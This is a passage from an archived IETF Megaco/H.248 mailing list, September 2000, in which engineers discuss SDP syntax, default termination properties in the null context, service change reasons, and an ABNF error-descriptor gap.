          <RT9L6XJB>; Fri, 8 Sep 2000 13:25:51 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <8BBD33A986C5D311804000902719FF5DAFF45C@aega.trillium.com>
Date:         Fri, 8 Sep 2000 13:25:49 -0700
Reply-To: Naren Tulpule <naren@TRILLIUM.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Naren Tulpule <naren@TRILLIUM.COM>
Subject:      SDP usage in appendix A
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Hi list,
  I have some syntax questions regarding the examples of SDP use given in
appendix A. I realize it's "informative", but I'd like to know if
implementations are going to have a similar behavior.

1. c=IN IP4 $
        I think this has come up in the list. Are we going to use 0.0.0.0 or
- or $ or....?

2. a=fmtp:PCMU VAD=X-NNVAD
        Can someone tell me which RFC/draft this use of fmtp appears in? I
tried RFCs 2733, 2833 and 2848 but couldn't match the syntax.

3. Use of ";" to start a comment.
        I don't think SDP should use Megaco style comments - ";" can also be
a delimiter in some attribute values.

4. escaping "}" in SDP strings
        I don't know if  "}" can appear in SDP attribute or VcId or other
values. Nonetheless to be safe, especially on the MGC side when you might
just want to treat SDP description as opaque, why not delimit the the
description with a line that starts with "==" (two "=" symbols) or a similar
illegal combination? Using "\}" is really not feasible.

-- Naren.
Narendra C. Tulpule    SMTS, Trillium Digital Systems
Ph: +1-310-442-9222              Fax: +1-310-442-1162
12100 Wilshire Bl #1800         Los Angeles, CA 90025




-- Naren.
Narendra C. Tulpule    SMTS, Trillium Digital Systems
Ph: +1-310-442-9222              Fax: +1-310-442-1162
12100 Wilshire Bl #1800         Los Angeles, CA 90025


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep  8 16:59:09 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA00421
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 8 Sep 2000 16:59:08 -0400 (EDT)
Received: from standards (47.234.32.16:2849) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9192D@standards.nortelnetworks.com>; Fri, 8 Sep 2000 16:43:27 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 0320 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 8 Sep 2000 16:43:27 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB9192C@standards.nortelnetworks.com>; Fri, 8 Sep 2000 16:43:26
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id QAA11045; Fri, 8 Sep 2000 16:56:33 -0400 (EDT)
Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com
          [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id QAA05670; Fri, 8 Sep 2000 16:56:36 -0400 (EDT)
Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <R69X2189>; Fri, 8 Sep 2000 16:56:35 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF67884B@whq-msgusr-02.pit.comms.marconi.com>
Date:         Fri, 8 Sep 2000 16:56:22 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Can MGC modify term in NULL Context ?
X-To:         Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Wow, looks like we have some ambiguous wording to deal with.
For as long ago as Minneapolis, changing values in Null would
"stick" (that is, those values were the ones the property
went back to on subtract).  This was because the expected
behavior is that the MGC sets the properties to what it wants
them to be once (after registration), and they get back to
these (default) values when in null context.

Now we have defined "default" to be what the package definition
says it should be.

Let's take, for example, tdmc/ec.  Suppose the MGC wanted to "permanently"
disable echo cancel on a termination.  It sets
tdmc/ec off in null context, and it stays off, unless the MGC
turns it on for a particular call.

I don't believe we ever changed that behavior, so somehow we
screwed up the words.  Here is what the text used to say:

"When a Termination is created, properties get their default values, unless
the controller specifically sets a different value.  The default value of a
property of a physical Termination can be changed by setting it to a
different value when the Termination is in the null Context.  Every time
such a Termination returns to the null Context, the values of its properties
are reset to this default value"

Brian

> -----Original Message-----
> From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
> Sent: Friday, September 08, 2000 3:35 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Can MGC modify term in NULL Context ?
>
>
> Sorry, I have to contradict you on the second item.  See the last few
> sentences of section 7.2.3.
>
> > -----Original Message-----
> > From: Rosen, Brian [mailto:Brian.Rosen@MARCONI.COM]
> > Sent: Friday, September 08, 2000 2:36 PM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Can MGC modify term in NULL Context ?
> >
> >
> > > The question is that does the MG allow the MGC to change
> the package
> > > property values associated with a termination in NULL context ??
> > For a physical termination, yes, absolutely
> >
> > >
> > > And, if the answer is yes does this change the default values of
> > > the package properties associated with the termination.
> > > OR, does it only modify the properties temporarily for now. If the
> > > termination is subsequently added and subtracted to and from
> > > a context,
> > > respectively the property values change to the default values
> > > before MGC modified them in NULL context.
> > It changes the current value, and the termination returns to
> > this value when it is subtracted.  You can think of this as
> > changing the default value, although it's volatile.
> >
> > Brian
> >
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Sep  8 22:43:02 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA05968
	for <megaco-archive@LISTS.IETF.ORG>; Fri, 8 Sep 2000 22:43:01 -0400 (EDT)
Received: from standards (47.234.32.16:2326) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB91A0C@standards.nortelnetworks.com>; Fri, 8 Sep 2000 22:28:19 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 0623 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 8 Sep 2000 22:28:19 -0400
Received: from qhars002.nortel.com (47.101.112.102:49194) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB91A0B@standards.nortelnetworks.com>; Fri, 8 Sep 2000
          22:28:19 -0400
Received: from ertpg14e1.nortelnetworks.com (actually zrtph06m) by
          qhars002.nortel.com; Sat, 9 Sep 2000 03:41:29 +0100
Received: from zrtpd004.us.nortel.com (actually zrtpd004) by
          ertpg14e1.nortelnetworks.com; Fri, 8 Sep 2000 22:38:54 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <S37A1P0Q>; Fri, 8 Sep 2000 22:38:54 -0400
X-Mailer: Internet Mail Service (5.5.2652.35)
Message-ID:  <28560036253BD41191A10000F8BCBD11480D52@zcard00g.ca.nortel.com>
Date:         Fri, 8 Sep 2000 22:38:50 -0400
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Can MGC modify term in NULL Context ?
X-To:         "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

The decision to change the behaviour was made last spring -- it wasn't an
accident.  I can look up the thread if I have to, but the reasoning is that
very often you don't want to restore the status quo ante, particularly where
events and signals are involved.  How we have it now makes MG behaviour much
more predictable.

For your echo cancellor example the sensible solution would be to provision
the default property settings for the trunk when you provision the trunk
itself.

> -----Original Message-----
> From: Rosen, Brian [mailto:Brian.Rosen@MARCONI.COM]
> Sent: Friday, September 08, 2000 4:56 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Can MGC modify term in NULL Context ?
>
>
> Wow, looks like we have some ambiguous wording to deal with.
> For as long ago as Minneapolis, changing values in Null would
> "stick" (that is, those values were the ones the property
> went back to on subtract).  This was because the expected
> behavior is that the MGC sets the properties to what it wants
> them to be once (after registration), and they get back to
> these (default) values when in null context.
>
> Now we have defined "default" to be what the package definition
> says it should be.
>
> Let's take, for example, tdmc/ec.  Suppose the MGC wanted to
> "permanently"
> disable echo cancel on a termination.  It sets
> tdmc/ec off in null context, and it stays off, unless the MGC
> turns it on for a particular call.
>
> I don't believe we ever changed that behavior, so somehow we
> screwed up the words.  Here is what the text used to say:
>
> "When a Termination is created, properties get their default
> values, unless
> the controller specifically sets a different value.  The
> default value of a
> property of a physical Termination can be changed by setting it to a
> different value when the Termination is in the null Context.
> Every time
> such a Termination returns to the null Context, the values of
> its properties
> are reset to this default value"
>
> Brian
>
> > -----Original Message-----
> > From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
> > Sent: Friday, September 08, 2000 3:35 PM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Can MGC modify term in NULL Context ?
> >
> >
> > Sorry, I have to contradict you on the second item.  See
> the last few
> > sentences of section 7.2.3.
> >
> > > -----Original Message-----
> > > From: Rosen, Brian [mailto:Brian.Rosen@MARCONI.COM]
> > > Sent: Friday, September 08, 2000 2:36 PM
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Re: Can MGC modify term in NULL Context ?
> > >
> > >
> > > > The question is that does the MG allow the MGC to change
> > the package
> > > > property values associated with a termination in NULL context ??
> > > For a physical termination, yes, absolutely
> > >
> > > >
> > > > And, if the answer is yes does this change the default values of
> > > > the package properties associated with the termination.
> > > > OR, does it only modify the properties temporarily for
> now. If the
> > > > termination is subsequently added and subtracted to and from
> > > > a context,
> > > > respectively the property values change to the default values
> > > > before MGC modified them in NULL context.
> > > It changes the current value, and the termination returns to
> > > this value when it is subtracted.  You can think of this as
> > > changing the default value, although it's volatile.
> > >
> > > Brian
> > >
> >
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Sun Sep 10 08:39:46 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA08190
	for <megaco-archive@LISTS.IETF.ORG>; Sun, 10 Sep 2000 08:39:45 -0400 (EDT)
Received: from standards (47.234.32.16:3244) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB91B8C@standards.nortelnetworks.com>; 10 Sep 2000 8:24:45 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 1136 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Sun, 10 Sep 2000 08:24:45 -0400
Received: from mars.hss.co.in (202.54.26.197:36668) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB91B8B@standards.nortelnetworks.com>; 10 Sep 2000 8:24:43
          -0400
Received: from sandesh.hss.hns.com (sandesh [139.85.242.35]) by mars.hss.co.in
          (8.10.0/8.10.0) with SMTP id e8ACclh29482 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Sun, 10 Sep 2000 18:08:57
          +0530 (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id
          65256956.004477D7 ; Sun, 10 Sep 2000 17:57:51 +0530
X-Lotus-FromDomain: HSS
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Message-ID:  <65256956.0044759A.00@sandesh.hss.hns.com>
Date:         Sun, 10 Sep 2000 18:03:00 +0530
Reply-To: prjain@HSS.HNS.COM
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Prashant Jain <prjain@HSS.HNS.COM>
Subject:      Use of Service Change Address
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Hi Brian, Tom, List,

Can the Service Change Address Parameter be used in the following scenario:

Consider MG/MGC application running over a multi-homed host  with a single copy
or multiple redundant copies of TCP/IP
Stack in the case of IP networks. Here it is assumed that MG/MGC application do
not support redundancy at their level.

Now, if any network interface card or an active copy of TCP/IP Stack fails,
System management running in the system may wish to
change the local ID i.e. may use another card  or use the standby copy with
different IP address configured for it.  In this scenario, protocol
must  specify a way to communicate this information (of Local Address Change) to
the other entity without breaking the existing association.

As per the current text of the protocol,  can we send a Service Change Request
to the other entity with DISCONNECTED method, Service Change Reason as  "Loss of
Lower Layer Connectivity" and Service Change Address as the new specified local
address to take care of the above scenario.

Please do reply.

Prashant Jain
HUghes Software Systems


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Sun Sep 10 08:49:55 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA08237
	for <megaco-archive@LISTS.IETF.ORG>; Sun, 10 Sep 2000 08:49:54 -0400 (EDT)
Received: from standards (47.234.32.16:3244) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB91BAF@standards.nortelnetworks.com>; 10 Sep 2000 8:35:14 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 1180 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Sun, 10 Sep 2000 08:35:13 -0400
Received: from mars.hss.co.in (202.54.26.197:36683) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB91BAE@standards.nortelnetworks.com>; 10 Sep 2000 8:35:12
          -0400
Received: from sandesh.hss.hns.com (sandesh [139.85.242.35]) by mars.hss.co.in
          (8.10.0/8.10.0) with SMTP id e8ACnPh29516 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Sun, 10 Sep 2000 18:19:25
          +0530 (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id
          65256956.0045706A ; Sun, 10 Sep 2000 18:08:27 +0530
X-Lotus-FromDomain: HSS
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Message-ID:  <65256956.00456EB1.00@sandesh.hss.hns.com>
Date:         Sun, 10 Sep 2000 18:13:37 +0530
Reply-To: prjain@HSS.HNS.COM
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Prashant Jain <prjain@HSS.HNS.COM>
Subject:      Significance of WARM Boot
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Hi Brian, Tom, List,

Can anyone explain the difference between the COLD Boot and the WARM Boot as
Service Change Reasons.

Does it mean that in the case of COLD boot,  everything is powered on from the
begining. However in the case of WARM boot, provisioned data at MG may be
preserved as it is, but all the active and the transient calls are cleared of
its own.

Please calrify.

Prashant Jain
Hughes Software Systems


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 11 04:09:13 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA27636
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 11 Sep 2000 04:09:11 -0400 (EDT)
Received: from standards (47.234.32.16:2033) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB91D66@standards.nortelnetworks.com>; Mon, 11 Sep 2000 3:54:05 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 1777 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 11 Sep 2000 03:54:00 -0400
Received: from mail-in.audiocodes.com (AC-INT-LP.ser.netvision.net.il) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB91D65@standards.nortelnetworks.com>; Mon, 11 Sep 2000
          3:53:59 -0400
Received: by MAIL-IN with Internet Mail Service (5.5.2650.21) id <R7NDCM4G>;
          Mon, 11 Sep 2000 11:06:35 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="windows-1255"
Message-ID:  <81C3E8FE6C0AD4119D49009027C3AAB25DABBB@MAIL-IN>
Date:         Mon, 11 Sep 2000 11:06:34 +0200
Reply-To: Nurit Shenhar <nurit.shenhar@AUDIOCODES.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Nurit Shenhar <nurit.shenhar@AUDIOCODES.COM>
Subject:      Error Descriptor
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Hi list

The H.248 says the following: (
   ....
   command marked as Optional results in an error, subsequent commands
   in the Transaction will be executed.  A TransactionReply includes the
   results for all of the Commands in the corresponding
   TransactionRequest.  The TransactionReply includes the return values
   for the Commands that were executed successfully, and the Command and
   error descriptor for any Command that failed.  TransactionPending is
      .....

This means that each failed command should report an error. but the syntax
allows an error descriptor only on the action level,
and if the error descriptor appears, there can be not CommandReply:

   actionReply          = CtxToken EQUAL ContextID LBRKT
                          ( errorDescriptor / commandReply ) RBRKT

   commandReply       = (( contextProperties [COMMA commandReplyList] )
                           / commandReplyList )


   commandReplyList     = commandReplys *(COMMA commandReplys )


   commandReplys        = (serviceChangeReply / auditReply / ammsReply
                           / notifyReply )


Shouldn't we have an error descriptor as one of the options in the
CommandReplys?


Best regards

Nurit Shenhar
AudioCodes Ltd.
Direct: +972-3-539-4155
Tel:     +972-3-539-4000
Fax:    +972-3-539-4040
email:  nurit.shenhar@audiocodes.com

web:    <http://www.audiocodes.com>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 11 06:18:15 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA28268
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 11 Sep 2000 06:18:13 -0400 (EDT)
Received: from standards (47.234.32.16:3851) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB91DAA@standards.nortelnetworks.com>; Mon, 11 Sep 2000 6:03:13 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 1864 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 11 Sep 2000 06:03:12 -0400
Received: from tapti.hss.hns.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB91DA9@standards.nortelnetworks.com>; Mon, 11 Sep 2000 6:03:05
          -0400
Received: from sandesh.hss.hns.com (sandesh.hss.hns.com [139.85.242.35]) by
          tapti.hss.hns.com (8.10.0/8.10.0) with SMTP id e8BBPka21905 for
          <MEGACO@standards.nortelnetworks.com>; Mon, 11 Sep 2000 16:55:46
          +0530 (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id
          65256957.00377CBE ; Mon, 11 Sep 2000 15:36:03 +0530
X-Lotus-FromDomain: HSS
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Message-ID:  <65256957.00377BF6.00@sandesh.hss.hns.com>
Date:         Mon, 11 Sep 2000 15:46:20 +0530
Reply-To: sgautam@HSS.HNS.COM
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Sandeep Gautam <sgautam@HSS.HNS.COM>
Subject:      Re: Can MGC modify term in NULL Context ?
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

---------------------- Forwarded by Sandeep Gautam/HSS on 09/11/2000 03:43 PM
---------------------------


Sandeep Gautam
09/11/2000 11:59 AM

To:   "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
cc:

Subject:  Re: Can MGC modify term in NULL Context ?  (Document link not
      converted)

Hi,

>> Now we have defined "default" to be what the package definition
>>says it should be.

Does 'default' refer to values as defined in packages...or do they refer to the
values as provisioned on the termination ( by lets say an operator sitting on
MG). For eg. when Tom mentioned that the correct way to deal with the Echo
Cancellation problem was to set the provisioned value to 'off' for that
termination, isnt it obvious that a termination would revert back to this
'provisioned' value after subtarct rather than the default 'on' as mentioned in
the package?

Or does this provisioned value becomes default for it?

Thanx and regards,
Sandy G



"Rosen, Brian" <Brian.Rosen@MARCONI.COM> on 09/09/2000 02:26:22 AM

Please respond to "Rosen, Brian" <Brian.Rosen@MARCONI.COM>

To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
cc:    (bcc: Sandeep Gautam/HSS)

Subject:  Re: Can MGC modify term in NULL Context ?





Now we have defined "default" to be what the package definition
says it should be.

Let's take, for example, tdmc/ec.  Suppose the MGC wanted to "permanently"
disable echo cancel on a termination.  It sets
tdmc/ec off in null context, and it stays off, unless the MGC
turns it on for a particular call.

I don't believe we ever changed that behavior, so somehow we
screwed up the words.  Here is what the text used to say:

"When a Termination is created, properties get their default values, unless
the controller specifically sets a different value.  The default value of a
property of a physical Termination can be changed by setting it to a
different value when the Termination is in the null Context.  Every time
such a Termination returns to the null Context, the values of its properties
are reset to this default value"

Brian

> -----Original Message-----
> From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
> Sent: Friday, September 08, 2000 3:35 PM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Can MGC modify term in NULL Context ?
>
>
> Sorry, I have to contradict you on the second item.  See the last few
> sentences of section 7.2.3.
>
> > -----Original Message-----
> > From: Rosen, Brian [mailto:Brian.Rosen@MARCONI.COM]
> > Sent: Friday, September 08, 2000 2:36 PM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Can MGC modify term in NULL Context ?
> >
> >
> > > The question is that does the MG allow the MGC to change
> the package
> > > property values associated with a termination in NULL context ??
> > For a physical termination, yes, absolutely
> >
> > >
> > > And, if the answer is yes does this change the default values of
> > > the package properties associated with the termination.
> > > OR, does it only modify the properties temporarily for now. If the
> > > termination is subsequently added and subtracted to and from
> > > a context,
> > > respectively the property values change to the default values
> > > before MGC modified them in NULL context.
> > It changes the current value, and the termination returns to
> > this value when it is subtracted.  You can think of this as
> > changing the default value, although it's volatile.
> >
> > Brian
> >
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 11 06:25:16 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA28314
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 11 Sep 2000 06:25:15 -0400 (EDT)
Received: from standards (47.234.32.16:3851) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB91DC7@standards.nortelnetworks.com>; Mon, 11 Sep 2000 6:10:15 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 1900 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 11 Sep 2000 06:10:14 -0400
Received: from ihemail1.firewall.lucent.com (ihemail1.lucent.com) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB91DC6@standards.nortelnetworks.com>; Mon, 11 Sep 2000
          6:10:14 -0400
Received: from ihemail1.firewall.lucent.com (localhost [127.0.0.1]) by
          ihemail1.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id GAA06959
          for <MEGACO@standards.nortelnetworks.com>; Mon, 11 Sep 2000 06:23:32
          -0400 (EDT)
Received: from nlmail.nl.lucent.com (h135-85-78-211.lucent.com [135.85.78.211])
          by ihemail1.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id
          GAA06736 for <MEGACO@standards.nortelnetworks.com>; Mon, 11 Sep 2000
          06:22:59 -0400 (EDT)
Received: from lucent.com (hzsgp35.nl.lucent.com [135.85.117.145]) by
          nlmail.nl.lucent.com (8.8.8+Sun/EMS-1.5 sol2) id MAA22395; Mon, 11
          Sep 2000 12:22:33 +0200 (MET DST)
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <81C3E8FE6C0AD4119D49009027C3AAB25DABBB@MAIL-IN>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39BCB248.46222B6E@lucent.com>
Date:         Mon, 11 Sep 2000 12:22:00 +0200
Reply-To: John Segers <jsegers@LUCENT.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: John Segers <jsegers@LUCENT.COM>
Organization: Lucent Technologies
Subject:      Re: Error Descriptor
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Nurit,

This indeed seems to be an error in the ABNF.  The ASN.1 structures do
support the functionality described in the text you quoted from 8.2.2.

I think that there are two options for resolving this issue.

1. Change the ABNF to match the structure of the ASN.1.
2. Create multiple action replies instead of one if both an error and
   a command reply have to be returned.

Any thoughts?

John

Nurit Shenhar wrote:
>
> Hi list
>
> The H.248 says the following: (
>    ....
>    command marked as Optional results in an error, subsequent commands
>    in the Transaction will be executed.  A TransactionReply includes the
>    results for all of the Commands in the corresponding
>    TransactionRequest.  The TransactionReply includes the return values
>    for the Commands that were executed successfully, and the Command and
>    error descriptor for any Command that failed.  TransactionPending is
>       .....
>
> This means that each failed command should report an error. but the syntax
> allows an error descriptor only on the action level,
> and if the error descriptor appears, there can be not CommandReply:
>
>    actionReply          = CtxToken EQUAL ContextID LBRKT
>                           ( errorDescriptor / commandReply ) RBRKT
>
>    commandReply       = (( contextProperties [COMMA commandReplyList] )
>                            / commandReplyList )
>
>    commandReplyList     = commandReplys *(COMMA commandReplys )
>
>    commandReplys        = (serviceChangeReply / auditReply / ammsReply
>                            / notifyReply )
>
> Shouldn't we have an error descriptor as one of the options in the
> CommandReplys?
>
> Best regards
>
> Nurit Shenhar
> AudioCodes Ltd.
> Direct: +972-3-539-4155
> Tel:     +972-3-539-4000
> Fax:    +972-3-539-4040
> email:  nurit.shenhar@audiocodes.com
>
> web:    <http://www.audiocodes.com>

--
John Segers                                  email: jsegers@lucent.com
Lucent Technologies                                        Room HE 303
Dept. Forward Looking Work                      phone: +31 35 687 4724
P.O. Box 18, 1270 AA  Huizen                      fax: +31 35 687 5954


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 11 06:50:53 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA28448
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 11 Sep 2000 06:50:52 -0400 (EDT)
Received: from standards (47.234.32.16:2381) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB91DE8@standards.nortelnetworks.com>; Mon, 11 Sep 2000 6:35:52 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 1941 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 11 Sep 2000 06:35:52 -0400
Received: from mail-in.audiocodes.com (AC-INT-LP.ser.netvision.net.il) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB91DE7@standards.nortelnetworks.com>; Mon, 11 Sep 2000
          6:35:52 -0400
Received: by MAIL-IN with Internet Mail Service (5.5.2650.21) id <R7NDCM5K>;
          Mon, 11 Sep 2000 13:48:28 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <81C3E8FE6C0AD4119D49009027C3AAB25DABBE@MAIL-IN>
Date:         Mon, 11 Sep 2000 13:48:27 +0200
Reply-To: Nurit Shenhar <nurit.shenhar@AUDIOCODES.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Nurit Shenhar <nurit.shenhar@AUDIOCODES.COM>
Subject:      Re: Error Descriptor
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Hi John

The ASN.1 permits having an error descriptor and the sequence of
CommandReply. But still, if you have more than one command that failed, you
can not have two error descriptors for each command, as the descriptor is
per action.

I don't like the idea of multiple ActionReplys. It will be difficult to
match the request with the reply that way.

Nurit

-----Original Message-----
From: John Segers [mailto:jsegers@LUCENT.COM]
Sent: Monday, September 11, 2000 12:22 PM
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: Re: Error Descriptor


Nurit,

This indeed seems to be an error in the ABNF.  The ASN.1 structures do
support the functionality described in the text you quoted from 8.2.2.

I think that there are two options for resolving this issue.

1. Change the ABNF to match the structure of the ASN.1.
